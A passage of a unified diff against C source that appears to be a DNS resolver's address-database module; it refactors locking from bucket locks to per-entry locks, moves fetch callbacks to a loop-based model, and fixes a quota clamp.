@@ -3814,17 +2781,15 @@ dbfind_name(dns_adbname_t *adbname, isc_stdtime_t now, dns_rdatatype_t rdtype) {
 	 * We need to specify whether to search static-stub zones (if
 	 * configured) depending on whether this is a "start at zone" lookup,
 	 * i.e., whether it's a "bailiwick" glue.  If it's bailiwick (in which
-	 * case NAME_STARTATZONE is set) we need to stop the search at any
-	 * matching static-stub zone without looking into the cache to honor
+	 * case DNS_ADBFIND_STARTATZONE is set) we need to stop the search at
+	 * any matching static-stub zone without looking into the cache to honor
 	 * the configuration on which server we should send queries to.
 	 */
-	result = dns_view_find(adb->view, &adbname->name, rdtype, now,
-			       NAME_GLUEOK(adbname) ? DNS_DBFIND_GLUEOK : 0,
-			       NAME_HINTOK(adbname),
-			       ((adbname->flags & NAME_STARTATZONE) != 0), NULL,
-			       NULL, fname, &rdataset, NULL);
+	result = dns_view_find(
+		adb->view, &adbname->name, rdtype, now, DNS_DBFIND_GLUEOK, true,
+		((adbname->flags & DNS_ADBFIND_STARTATZONE) != 0), NULL, NULL,
+		fname, &rdataset, NULL);
 
-	/* XXXVIX this switch statement is too sparse to gen a jump table. */
 	switch (result) {
 	case DNS_R_GLUE:
 	case DNS_R_HINT:
@@ -3905,12 +2870,6 @@ dbfind_name(dns_adbname_t *adbname, isc_stdtime_t now, dns_rdatatype_t rdtype) {
 		break;
 	case DNS_R_CNAME:
 	case DNS_R_DNAME:
-		/*
-		 * Clear the hint and glue flags, so this will match
-		 * more often.
-		 */
-		adbname->flags &= ~(DNS_ADBFIND_GLUEOK | DNS_ADBFIND_HINTOK);
-
 		rdataset.ttl = ttlclamp(rdataset.ttl);
 		clean_target(adb, &adbname->target);
 		adbname->expire_target = INT_MAX;
@@ -3928,6 +2887,8 @@ dbfind_name(dns_adbname_t *adbname, isc_stdtime_t now, dns_rdatatype_t rdtype) {
 			adbname->fetch6_err = FIND_ERR_SUCCESS;
 		}
 		break;
+	default:
+		break;
 	}
 
 	if (dns_rdataset_isassociated(&rdataset)) {
@@ -3938,38 +2899,32 @@ dbfind_name(dns_adbname_t *adbname, isc_stdtime_t now, dns_rdatatype_t rdtype) {
 }
 
 static void
-fetch_callback(isc_task_t *task, isc_event_t *ev) {
-	dns_fetchevent_t *dev;
-	dns_adbname_t *name;
-	dns_adb_t *adb;
-	dns_adbfetch_t *fetch;
-	int bucket;
-	isc_eventtype_t ev_status;
+fetch_callback(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	dns_adbname_t *name = resp->arg;
+	dns_adb_t *adb = NULL;
+	dns_adbfetch_t *fetch = NULL;
+	dns_adbstatus_t astat = DNS_ADB_NOMOREADDRESSES;
 	isc_stdtime_t now;
 	isc_result_t result;
 	unsigned int address_type;
-	bool want_check_exit = false;
 
-	UNUSED(task);
+	REQUIRE(DNS_ADBNAME_VALID(name));
+	dns_adb_attach(name->adb, &adb);
 
-	INSIST(ev->ev_type == DNS_EVENT_FETCHDONE);
-	dev = (dns_fetchevent_t *)ev;
-	name = ev->ev_arg;
-	INSIST(DNS_ADBNAME_VALID(name));
-	adb = name->adb;
-	INSIST(DNS_ADB_VALID(adb));
+	REQUIRE(DNS_ADB_VALID(adb));
 
-	bucket = name->lock_bucket;
-	LOCK(&adb->namelocks[bucket]);
+	LOCK(&name->lock);
 
 	INSIST(NAME_FETCH_A(name) || NAME_FETCH_AAAA(name));
 	address_type = 0;
-	if (NAME_FETCH_A(name) && (name->fetch_a->fetch == dev->fetch)) {
+	if (NAME_FETCH_A(name) && (name->fetch_a->fetch == resp->fetch)) {
 		address_type = DNS_ADBFIND_INET;
 		fetch = name->fetch_a;
 		name->fetch_a = NULL;
 	} else if (NAME_FETCH_AAAA(name) &&
-		   (name->fetch_aaaa->fetch == dev->fetch)) {
+		   (name->fetch_aaaa->fetch == resp->fetch))
+	{
 		address_type = DNS_ADBFIND_INET6;
 		fetch = name->fetch_aaaa;
 		name->fetch_aaaa = NULL;
@@ -3979,19 +2934,14 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 
 	INSIST(address_type != 0 && fetch != NULL);
 
-	dns_resolver_destroyfetch(&fetch->fetch);
-	dev->fetch = NULL;
-
-	ev_status = DNS_EVENT_ADBNOMOREADDRESSES;
-
 	/*
 	 * Cleanup things we don't care about.
 	 */
-	if (dev->node != NULL) {
-		dns_db_detachnode(dev->db, &dev->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (dev->db != NULL) {
-		dns_db_detach(&dev->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
 
 	/*
@@ -3999,55 +2949,43 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 	 * potentially good data.
 	 */
 	if (NAME_DEAD(name)) {
-		free_adbfetch(adb, &fetch);
-		isc_event_free(&ev);
-
-		want_check_exit = kill_name(&name, DNS_EVENT_ADBCANCELED);
-
-		UNLOCK(&adb->namelocks[bucket]);
-
-		if (want_check_exit) {
-			LOCK(&adb->lock);
-			check_exit(adb);
-			UNLOCK(&adb->lock);
-		}
-
-		return;
+		astat = DNS_ADB_CANCELED;
+		goto out;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	/*
 	 * If we got a negative cache response, remember it.
 	 */
-	if (NCACHE_RESULT(dev->result)) {
-		dev->rdataset->ttl = ttlclamp(dev->rdataset->ttl);
+	if (NCACHE_RESULT(resp->result)) {
+		resp->rdataset->ttl = ttlclamp(resp->rdataset->ttl);
 		if (address_type == DNS_ADBFIND_INET) {
 			DP(NCACHE_LEVEL,
 			   "adb fetch name %p: "
 			   "caching negative entry for A (ttl %u)",
-			   name, dev->rdataset->ttl);
+			   name, resp->rdataset->ttl);
 			name->expire_v4 = ISC_MIN(name->expire_v4,
-						  dev->rdataset->ttl + now);
-			if (dev->result == DNS_R_NCACHENXDOMAIN) {
+						  resp->rdataset->ttl + now);
+			if (resp->result == DNS_R_NCACHENXDOMAIN) {
 				name->fetch_err = FIND_ERR_NXDOMAIN;
 			} else {
 				name->fetch_err = FIND_ERR_NXRRSET;
 			}
-			inc_stats(adb, dns_resstatscounter_gluefetchv4fail);
+			inc_resstats(adb, dns_resstatscounter_gluefetchv4fail);
 		} else {
 			DP(NCACHE_LEVEL,
 			   "adb fetch name %p: "
 			   "caching negative entry for AAAA (ttl %u)",
-			   name, dev->rdataset->ttl);
+			   name, resp->rdataset->ttl);
 			name->expire_v6 = ISC_MIN(name->expire_v6,
-						  dev->rdataset->ttl + now);
-			if (dev->result == DNS_R_NCACHENXDOMAIN) {
+						  resp->rdataset->ttl + now);
+			if (resp->result == DNS_R_NCACHENXDOMAIN) {
 				name->fetch6_err = FIND_ERR_NXDOMAIN;
 			} else {
 				name->fetch6_err = FIND_ERR_NXRRSET;
 			}
-			inc_stats(adb, dns_resstatscounter_gluefetchv6fail);
+			inc_resstats(adb, dns_resstatscounter_gluefetchv6fail);
 		}
 		goto out;
 	}
@@ -4055,17 +2993,16 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 	/*
 	 * Handle CNAME/DNAME.
 	 */
-	if (dev->result == DNS_R_CNAME || dev->result == DNS_R_DNAME) {
-		dev->rdataset->ttl = ttlclamp(dev->rdataset->ttl);
+	if (resp->result == DNS_R_CNAME || resp->result == DNS_R_DNAME) {
+		resp->rdataset->ttl = ttlclamp(resp->rdataset->ttl);
 		clean_target(adb, &name->target);
 		name->expire_target = INT_MAX;
-		result = set_target(adb, &name->name,
-				    dns_fixedname_name(&dev->foundname),
-				    dev->rdataset, &name->target);
+		result = set_target(adb, &name->name, resp->foundname,
+				    resp->rdataset, &name->target);
 		if (result == ISC_R_SUCCESS) {
 			DP(NCACHE_LEVEL,
 			   "adb fetch name %p: caching alias target", name);
-			name->expire_target = dev->rdataset->ttl + now;
+			name->expire_target = resp->rdataset->ttl + now;
 		}
 		goto check_result;
 	}
@@ -4074,13 +3011,13 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 	 * Did we get back junk?  If so, and there are no more fetches
 	 * sitting out there, tell all the finds about it.
 	 */
-	if (dev->result != ISC_R_SUCCESS) {
+	if (resp->result != ISC_R_SUCCESS) {
 		char buf[DNS_NAME_FORMATSIZE];
 
 		dns_name_format(&name->name, buf, sizeof(buf));
 		DP(DEF_LEVEL, "adb: fetch of '%s' %s failed: %s", buf,
 		   address_type == DNS_ADBFIND_INET ? "A" : "AAAA",
-		   dns_result_totext(dev->result));
+		   isc_result_totext(resp->result));
 		/*
 		 * Don't record a failure unless this is the initial
 		 * fetch of a chain.
@@ -4092,11 +3029,11 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 		if (address_type == DNS_ADBFIND_INET) {
 			name->expire_v4 = ISC_MIN(name->expire_v4, now + 10);
 			name->fetch_err = FIND_ERR_FAILURE;
-			inc_stats(adb, dns_resstatscounter_gluefetchv4fail);
+			inc_resstats(adb, dns_resstatscounter_gluefetchv4fail);
 		} else {
 			name->expire_v6 = ISC_MIN(name->expire_v6, now + 10);
 			name->fetch6_err = FIND_ERR_FAILURE;
-			inc_stats(adb, dns_resstatscounter_gluefetchv6fail);
+			inc_resstats(adb, dns_resstatscounter_gluefetchv6fail);
 		}
 		goto out;
 	}
@@ -4108,7 +3045,7 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 
 check_result:
 	if (result == ISC_R_SUCCESS) {
-		ev_status = DNS_EVENT_ADBMOREADDRESSES;
+		astat = DNS_ADB_MOREADDRESSES;
 		if (address_type == DNS_ADBFIND_INET) {
 			name->fetch_err = FIND_ERR_SUCCESS;
 		} else {
@@ -4117,12 +3054,15 @@ fetch_callback(isc_task_t *task, isc_event_t *ev) {
 	}
 
 out:
+	dns_resolver_destroyfetch(&fetch->fetch);
 	free_adbfetch(adb, &fetch);
-	isc_event_free(&ev);
-
-	clean_finds_at_name(name, ev_status, address_type);
-
-	UNLOCK(&adb->namelocks[bucket]);
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
+	if (astat != DNS_ADB_CANCELED) {
+		clean_finds_at_name(name, astat, address_type);
+	}
+	UNLOCK(&name->lock);
+	dns_adbname_detach(&name);
+	dns_adb_detach(&adb);
 }
 
 static isc_result_t
@@ -4130,24 +3070,24 @@ fetch_name(dns_adbname_t *adbname, bool start_at_zone, unsigned int depth,
 	   isc_counter_t *qc, dns_rdatatype_t type) {
 	isc_result_t result;
 	dns_adbfetch_t *fetch = NULL;
-	dns_adb_t *adb;
+	dns_adb_t *adb = NULL;
 	dns_fixedname_t fixed;
-	dns_name_t *name;
+	dns_name_t *name = NULL;
 	dns_rdataset_t rdataset;
-	dns_rdataset_t *nameservers;
+	dns_rdataset_t *nameservers = NULL;
 	unsigned int options;
 
-	INSIST(DNS_ADBNAME_VALID(adbname));
+	REQUIRE(DNS_ADBNAME_VALID(adbname));
+
 	adb = adbname->adb;
-	INSIST(DNS_ADB_VALID(adb));
 
-	INSIST((type == dns_rdatatype_a && !NAME_FETCH_V4(adbname)) ||
-	       (type == dns_rdatatype_aaaa && !NAME_FETCH_V6(adbname)));
+	REQUIRE(DNS_ADB_VALID(adb));
+
+	REQUIRE((type == dns_rdatatype_a && !NAME_FETCH_A(adbname)) ||
+		(type == dns_rdatatype_aaaa && !NAME_FETCH_AAAA(adbname)));
 
 	adbname->fetch_err = FIND_ERR_NOTFOUND;
 
-	name = NULL;
-	nameservers = NULL;
 	dns_rdataset_init(&rdataset);
 
 	options = DNS_FETCHOPT_NOVALIDATE;
@@ -4166,10 +3106,6 @@ fetch_name(dns_adbname_t *adbname, bool start_at_zone, unsigned int depth,
 	}
 
 	fetch = new_adbfetch(adb);
-	if (fetch == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
 	fetch->depth = depth;
 
 	/*
@@ -4180,21 +3116,23 @@ fetch_name(dns_adbname_t *adbname, bool start_at_zone, unsigned int depth,
 	 * domain and nameservers.
 	 */
 	result = dns_resolver_createfetch(
-		adb->view->resolver, &adbname->name, type, name, nameservers,
-		NULL, NULL, 0, options, depth, qc, adb->task, fetch_callback,
-		adbname, &fetch->rdataset, NULL, &fetch->fetch);
+		adb->res, &adbname->name, type, name, nameservers, NULL, NULL,
+		0, options, depth, qc, isc_loop_current(adb->loopmgr),
+		fetch_callback, adbname, &fetch->rdataset, NULL, &fetch->fetch);
 	if (result != ISC_R_SUCCESS) {
 		DP(ENTER_LEVEL, "fetch_name: createfetch failed with %s",
 		   isc_result_totext(result));
 		goto cleanup;
 	}
 
+	dns_adbname_ref(adbname);
+
 	if (type == dns_rdatatype_a) {
 		adbname->fetch_a = fetch;
-		inc_stats(adb, dns_resstatscounter_gluefetchv4);
+		inc_resstats(adb, dns_resstatscounter_gluefetchv4);
 	} else {
 		adbname->fetch_aaaa = fetch;
-		inc_stats(adb, dns_resstatscounter_gluefetchv6);
+		inc_resstats(adb, dns_resstatscounter_gluefetchv6);
 	}
 	fetch = NULL; /* Keep us from cleaning this up below. */
 
@@ -4209,27 +3147,23 @@ fetch_name(dns_adbname_t *adbname, bool start_at_zone, unsigned int depth,
 	return (result);
 }
 
-/*
- * XXXMLG Needs to take a find argument and an address info, no zone or adb,
- * since these can be extracted from the find itself.
- */
 isc_result_t
 dns_adb_marklame(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
 		 const dns_name_t *qname, dns_rdatatype_t qtype,
 		 isc_stdtime_t expire_time) {
-	dns_adblameinfo_t *li;
-	int bucket;
-	isc_result_t result = ISC_R_SUCCESS;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 	REQUIRE(qname != NULL);
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
-	li = ISC_LIST_HEAD(addr->entry->lameinfo);
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_adblameinfo_t *li = NULL;
+	dns_adbentry_t *entry = addr->entry;
+
+	LOCK(&entry->lock);
+	li = ISC_LIST_HEAD(entry->lameinfo);
 	while (li != NULL &&
-	       (li->qtype != qtype || !dns_name_equal(qname, &li->qname))) {
+	       (li->qtype != qtype || !dns_name_equal(qname, &li->qname)))
+	{
 		li = ISC_LIST_NEXT(li, plink);
 	}
 	if (li != NULL) {
@@ -4239,54 +3173,45 @@ dns_adb_marklame(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
 		goto unlock;
 	}
 	li = new_adblameinfo(adb, qname, qtype);
-	if (li == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto unlock;
-	}
-
 	li->lame_timer = expire_time;
 
 	ISC_LIST_PREPEND(addr->entry->lameinfo, li, plink);
-unlock:
-	UNLOCK(&adb->entrylocks[bucket]);
 
+unlock:
+	UNLOCK(&entry->lock);
 	return (result);
 }
 
 void
 dns_adb_adjustsrtt(dns_adb_t *adb, dns_adbaddrinfo_t *addr, unsigned int rtt,
 		   unsigned int factor) {
-	int bucket;
-	isc_stdtime_t now = 0;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 	REQUIRE(factor <= 10);
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	isc_stdtime_t now = 0;
+	dns_adbentry_t *entry = addr->entry;
+	LOCK(&entry->lock);
 
-	if (addr->entry->expires == 0 || factor == DNS_ADB_RTTADJAGE) {
-		isc_stdtime_get(&now);
+	if (entry->expires == 0 || factor == DNS_ADB_RTTADJAGE) {
+		now = isc_stdtime_now();
 	}
 	adjustsrtt(addr, rtt, factor, now);
 
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 void
 dns_adb_agesrtt(dns_adb_t *adb, dns_adbaddrinfo_t *addr, isc_stdtime_t now) {
-	int bucket;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	dns_adbentry_t *entry = addr->entry;
+	LOCK(&entry->lock);
 
 	adjustsrtt(addr, 0, DNS_ADB_RTTADJAGE, now);
 
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 static void
@@ -4320,22 +3245,18 @@ adjustsrtt(dns_adbaddrinfo_t *addr, unsigned int rtt, unsigned int factor,
 void
 dns_adb_changeflags(dns_adb_t *adb, dns_adbaddrinfo_t *addr, unsigned int bits,
 		    unsigned int mask) {
-	int bucket;
-	isc_stdtime_t now;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	REQUIRE((bits & ENTRY_IS_DEAD) == 0);
-	REQUIRE((mask & ENTRY_IS_DEAD) == 0);
+	isc_stdtime_t now;
+	dns_adbentry_t *entry = addr->entry;
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	LOCK(&entry->lock);
 
-	addr->entry->flags = (addr->entry->flags & ~mask) | (bits & mask);
-	if (addr->entry->expires == 0) {
-		isc_stdtime_get(&now);
-		addr->entry->expires = now + ADB_ENTRY_WINDOW;
+	entry->flags = (entry->flags & ~mask) | (bits & mask);
+	if (entry->expires == 0) {
+		now = isc_stdtime_now();
+		entry->expires = now + ADB_ENTRY_WINDOW;
 	}
 
 	/*
@@ -4344,7 +3265,7 @@ dns_adb_changeflags(dns_adb_t *adb, dns_adbaddrinfo_t *addr, unsigned int bits,
 	 */
 	addr->flags = (addr->flags & ~mask) | (bits & mask);
 
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 /*
@@ -4368,7 +3289,7 @@ static int quota_adj[] = {
 #define QUOTA_ADJ_SIZE (sizeof(quota_adj) / sizeof(quota_adj[0]))
 
 /*
- * Caller must hold adbentry lock
+ * The adb entry associated with 'addr' must be locked.
  */
 static void
 maybe_adjust_quota(dns_adb_t *adb, dns_adbaddrinfo_t *addr, bool timeout) {
@@ -4407,7 +3328,7 @@ maybe_adjust_quota(dns_adb_t *adb, dns_adbaddrinfo_t *addr, bool timeout) {
 		uint_fast32_t new_quota =
 			adb->quota * quota_adj[--addr->entry->mode] / 10000;
 		atomic_store_release(&addr->entry->quota,
-				     ISC_MIN(1, new_quota));
+				     ISC_MAX(1, new_quota));
 		log_quota(addr->entry,
 			  "atr %0.2f, quota increased to %" PRIuFAST32,
 			  addr->entry->atr, new_quota);
@@ -4417,7 +3338,7 @@ maybe_adjust_quota(dns_adb_t *adb, dns_adbaddrinfo_t *addr, bool timeout) {
 		uint_fast32_t new_quota =
 			adb->quota * quota_adj[++addr->entry->mode] / 10000;
 		atomic_store_release(&addr->entry->quota,
-				     ISC_MIN(1, new_quota));
+				     ISC_MAX(1, new_quota));
 		log_quota(addr->entry,
 			  "atr %0.2f, quota decreased to %" PRIuFAST32,
 			  addr->entry->atr, new_quota);
@@ -4428,35 +3349,31 @@ maybe_adjust_quota(dns_adb_t *adb, dns_adbaddrinfo_t *addr, bool timeout) {
 
 void
 dns_adb_plainresponse(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
-	int bucket;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	dns_adbentry_t *entry = addr->entry;
+	LOCK(&entry->lock);
 
 	maybe_adjust_quota(adb, addr, false);
 
-	addr->entry->plain++;
-	if (addr->entry->plain == 0xff) {
-		addr->entry->edns >>= 1;
-		addr->entry->ednsto >>= 1;
-		addr->entry->plain >>= 1;
-		addr->entry->plainto >>= 1;
+	entry->plain++;
+	if (entry->plain == 0xff) {
+		entry->edns >>= 1;
+		entry->ednsto >>= 1;
+		entry->plain >>= 1;
+		entry->plainto >>= 1;
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 void
 dns_adb_timeout(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
-	int bucket;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	dns_adbentry_t *entry = addr->entry;
+	LOCK(&entry->lock);
 
 	maybe_adjust_quota(adb, addr, true);
 
@@ -4467,40 +3384,37 @@ dns_adb_timeout(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
 		addr->entry->plain >>= 1;
 		addr->entry->plainto >>= 1;
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 void
 dns_adb_ednsto(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
-	int bucket;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	dns_adbentry_t *entry = addr->entry;
+	LOCK(&entry->lock);
 
 	maybe_adjust_quota(adb, addr, true);
 
-	addr->entry->ednsto++;
+	entry->ednsto++;
 	if (addr->entry->ednsto == 0xff) {
-		addr->entry->edns >>= 1;
-		addr->entry->ednsto >>= 1;
-		addr->entry->plain >>= 1;
-		addr->entry->plainto >>= 1;
+		entry->edns >>= 1;
+		entry->ednsto >>= 1;
+		entry->plain >>= 1;
+		entry->plainto >>= 1;
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 void
 dns_adb_setudpsize(dns_adb_t *adb, dns_adbaddrinfo_t *addr, unsigned int size) {
-	int bucket;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	dns_adbentry_t *entry = addr->entry;
+
+	LOCK(&entry->lock);
 	if (size < 512U) {
 		size = 512U;
 	}
@@ -4510,28 +3424,27 @@ dns_adb_setudpsize(dns_adb_t *adb, dns_adbaddrinfo_t *addr, unsigned int size) {
 
 	maybe_adjust_quota(adb, addr, false);
 
-	addr->entry->edns++;
-	if (addr->entry->edns == 0xff) {
-		addr->entry->edns >>= 1;
-		addr->entry->ednsto >>= 1;
-		addr->entry->plain >>= 1;
-		addr->entry->plainto >>= 1;
+	entry->edns++;
+	if (entry->edns == 0xff) {
+		entry->edns >>= 1;
+		entry->ednsto >>= 1;
+		entry->plain >>= 1;
+		entry->plainto >>= 1;
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 unsigned int
 dns_adb_getudpsize(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
-	int bucket;
-	unsigned int size;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
-	size = addr->entry->udpsize;
-	UNLOCK(&adb->entrylocks[bucket]);
+	unsigned int size;
+	dns_adbentry_t *entry = addr->entry;
+
+	LOCK(&entry->lock);
+	size = entry->udpsize;
+	UNLOCK(&entry->lock);
 
 	return (size);
 }
@@ -4539,53 +3452,54 @@ dns_adb_getudpsize(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
 void
 dns_adb_setcookie(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
 		  const unsigned char *cookie, size_t len) {
-	int bucket;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	dns_adbentry_t *entry = addr->entry;
 
-	if (addr->entry->cookie != NULL &&
-	    (cookie == NULL || len != addr->entry->cookielen))
+	LOCK(&entry->lock);
+
+	if (entry->cookie != NULL &&
+	    (cookie == NULL || len != entry->cookielen))
 	{
-		isc_mem_put(adb->mctx, addr->entry->cookie,
-			    addr->entry->cookielen);
-		addr->entry->cookie = NULL;
-		addr->entry->cookielen = 0;
+		isc_mem_put(adb->mctx, entry->cookie, entry->cookielen);
+		entry->cookie = NULL;
+		entry->cookielen = 0;
 	}
 
-	if (addr->entry->cookie == NULL && cookie != NULL && len != 0U) {
-		addr->entry->cookie = isc_mem_get(adb->mctx, len);
-		addr->entry->cookielen = (uint16_t)len;
+	if (entry->cookie == NULL && cookie != NULL && len != 0U) {
+		entry->cookie = isc_mem_get(adb->mctx, len);
+		entry->cookielen = (uint16_t)len;
 	}
 
-	if (addr->entry->cookie != NULL) {
-		memmove(addr->entry->cookie, cookie, len);
+	if (entry->cookie != NULL) {
+		memmove(entry->cookie, cookie, len);
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
 }
 
 size_t
-dns_adb_getcookie(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
-		  unsigned char *cookie, size_t len) {
-	int bucket;
-
-	REQUIRE(DNS_ADB_VALID(adb));
+dns_adb_getcookie(dns_adbaddrinfo_t *addr, unsigned char *cookie, size_t len) {
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
-	if (cookie != NULL && addr->entry->cookie != NULL &&
-	    len >= addr->entry->cookielen)
-	{
-		memmove(cookie, addr->entry->cookie, addr->entry->cookielen);
-		len = addr->entry->cookielen;
-	} else {
+	dns_adbentry_t *entry = addr->entry;
+
+	LOCK(&entry->lock);
+	if (entry->cookie == NULL) {
 		len = 0;
+		goto unlock;
 	}
-	UNLOCK(&adb->entrylocks[bucket]);
+	if (cookie != NULL) {
+		if (len < entry->cookielen) {
+			len = 0;
+			goto unlock;
+		}
+		memmove(cookie, entry->cookie, entry->cookielen);
+	}
+	len = entry->cookielen;
+
+unlock:
+	UNLOCK(&entry->lock);
 
 	return (len);
 }
@@ -4593,200 +3507,158 @@ dns_adb_getcookie(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
 isc_result_t
 dns_adb_findaddrinfo(dns_adb_t *adb, const isc_sockaddr_t *sa,
 		     dns_adbaddrinfo_t **addrp, isc_stdtime_t now) {
-	int bucket;
-	dns_adbentry_t *entry;
-	dns_adbaddrinfo_t *addr;
-	isc_result_t result;
-	in_port_t port;
-
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(addrp != NULL && *addrp == NULL);
-
 	UNUSED(now);
 
-	result = ISC_R_SUCCESS;
-	bucket = DNS_ADB_INVALIDBUCKET;
-	entry = find_entry_and_lock(adb, sa, &bucket, now);
-	INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-	if (adb->entry_sd[bucket]) {
-		result = ISC_R_SHUTTINGDOWN;
-		goto unlock;
-	}
-	if (entry == NULL) {
-		/*
-		 * We don't know anything about this address.
-		 */
-		entry = new_adbentry(adb);
-		if (entry == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto unlock;
-		}
-		entry->sockaddr = *sa;
-		link_entry(adb, bucket, entry);
-		DP(ENTER_LEVEL, "findaddrinfo: new entry %p", entry);
-	} else {
-		DP(ENTER_LEVEL, "findaddrinfo: found entry %p", entry);
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_adbentry_t *entry = NULL;
+	dns_adbaddrinfo_t *addr = NULL;
+	in_port_t port;
+
+	if (atomic_load(&adb->exiting)) {
+		return (ISC_R_SHUTTINGDOWN);
 	}
 
+	entry = get_attached_and_locked_entry(adb, now, sa);
+	INSIST(entry != NULL);
+
 	port = isc_sockaddr_getport(sa);
 	addr = new_adbaddrinfo(adb, entry, port);
-	if (addr == NULL) {
-		result = ISC_R_NOMEMORY;
-	} else {
-		inc_entry_refcnt(adb, entry, false);
-		*addrp = addr;
-	}
+	*addrp = addr;
 
-unlock:
-	UNLOCK(&adb->entrylocks[bucket]);
+	UNLOCK(&entry->lock);
+	dns_adbentry_detach(&entry);
 
 	return (result);
 }
 
 void
 dns_adb_freeaddrinfo(dns_adb_t *adb, dns_adbaddrinfo_t **addrp) {
-	dns_adbaddrinfo_t *addr;
-	dns_adbentry_t *entry;
-	int bucket;
+	dns_adbaddrinfo_t *addr = NULL;
+	dns_adbentry_t *entry = NULL;
 	isc_stdtime_t now;
-	bool want_check_exit = false;
-	bool overmem;
 
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(addrp != NULL);
+
 	addr = *addrp;
 	*addrp = NULL;
+
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
-	entry = addr->entry;
-	REQUIRE(DNS_ADBENTRY_VALID(entry));
 
-	overmem = isc_mem_isovermem(adb->mctx);
+	entry = addr->entry;
 
-	bucket = addr->entry->lock_bucket;
-	LOCK(&adb->entrylocks[bucket]);
+	REQUIRE(DNS_ADBENTRY_VALID(entry));
 
 	if (entry->expires == 0) {
-		isc_stdtime_get(&now);
+		now = isc_stdtime_now();
 		entry->expires = now + ADB_ENTRY_WINDOW;
 	}
 
-	want_check_exit = dec_entry_refcnt(adb, overmem, entry, false);
-
-	UNLOCK(&adb->entrylocks[bucket]);
-
-	addr->entry = NULL;
 	free_adbaddrinfo(adb, &addr);
-
-	if (want_check_exit) {
-		LOCK(&adb->lock);
-		check_exit(adb);
-		UNLOCK(&adb->lock);
-	}
 }
 
 void
 dns_adb_flush(dns_adb_t *adb) {
-	unsigned int i;
-
-	INSIST(DNS_ADB_VALID(adb));
-
-	LOCK(&adb->lock);
+	REQUIRE(DNS_ADB_VALID(adb));
 
-	/*
-	 * Call our cleanup routines.
-	 */
